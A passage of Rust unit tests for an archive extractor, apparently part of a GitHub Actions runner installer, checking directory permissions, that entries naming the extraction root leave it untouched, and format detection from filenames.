for (label, bytes, kind) in [
(
"tar.gz",
tar_gz_special("bin/", "", 0o644, tar::EntryType::Directory, None),
ArchiveKind::TarGz,
),
(
"zip",
zip_bytes_with_modes(&[("bin/", "", Some(0o644))]),
ArchiveKind::Zip,
),
] {
let archive = dir.path().join(format!("{label}.archive"));
fs::write(&archive, &bytes).unwrap();
let target = dir.path().join(label);
extract(&archive, kind, &target).expect("extraction");
let mode = fs::metadata(target.join("bin"))
.unwrap()
.permissions()
.mode()
& 0o7777;
assert_eq!(
mode, 0o700,
"{label}: a directory must stay traversable (mode {mode:o})"
);
}
}
#[test]
fn an_entry_naming_the_extraction_root_cannot_touch_it() {
let dir = tempfile::tempdir().expect("a temporary root");
for (label, bytes, kind) in [
(
"tar.gz dot",
tar_gz_special(".", "", 0o777, tar::EntryType::Directory, None),
ArchiveKind::TarGz,
),
(
"tar.gz dot slash",
tar_gz_special("./", "", 0o777, tar::EntryType::Directory, None),
ArchiveKind::TarGz,
),
(
"zip dot",
zip_bytes_with_modes(&[("./", "", Some(0o777))]),
ArchiveKind::Zip,
),
] {
let archive = dir.path().join(format!("{label}.archive"));
fs::write(&archive, &bytes).unwrap();
let target = dir.path().join(label);
fs::create_dir_all(&target).unwrap();
let marker = target.join("owned-by-this-module");
fs::write(&marker, b"x").unwrap();
extract(&archive, kind, &target).unwrap_or_else(|error| {
panic!("{label}: a root entry is skipped, not fatal: {error}")
});
assert!(
marker.is_file(),
"{label}: the extraction root must be untouched"
);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt as _;
let mode = fs::metadata(&target).unwrap().permissions().mode() & 0o7777;
assert_ne!(
mode, 0o777,
"{label}: the archive must not have set the root's mode"
);
}
}
}
#[test]
fn the_archive_format_comes_from_the_filename_not_from_the_host() {
assert_eq!(
ArchiveKind::split("actions-runner-win-x64-2.330.0.zip")
.unwrap()
.1,
ArchiveKind::Zip
);
assert_eq!(
ArchiveKind::split("actions-runner-linux-x64-2.330.0.tar.gz")
.unwrap()
.1,
ArchiveKind::TarGz
);
assert_eq!(
ArchiveKind::split("actions-runner-linux-x64-2.330.0.TAR.GZ")
.unwrap()
.1,
ArchiveKind::TarGz
);
assert!(ArchiveKind::split("actions-runner-linux-x64-2.330.0.7z").is_err());
}
#[tokio::test]
async fn a_zip_is_extracted_on_a_host_whose_own_packages_are_tarballs() {
let bytes = zip_bytes(&package_entries());
let harness = Harness::new(
vec![published(
"linux",
"x64",
"2.330.0",
".zip",
Some(&hex_digest(&bytes)),
)],
bytes,
);
let installed = harness.cache().ensure_installed().await.expect("a zip");
assert!(installed.root().join("bin/Runner.Listener").is_file());
}
}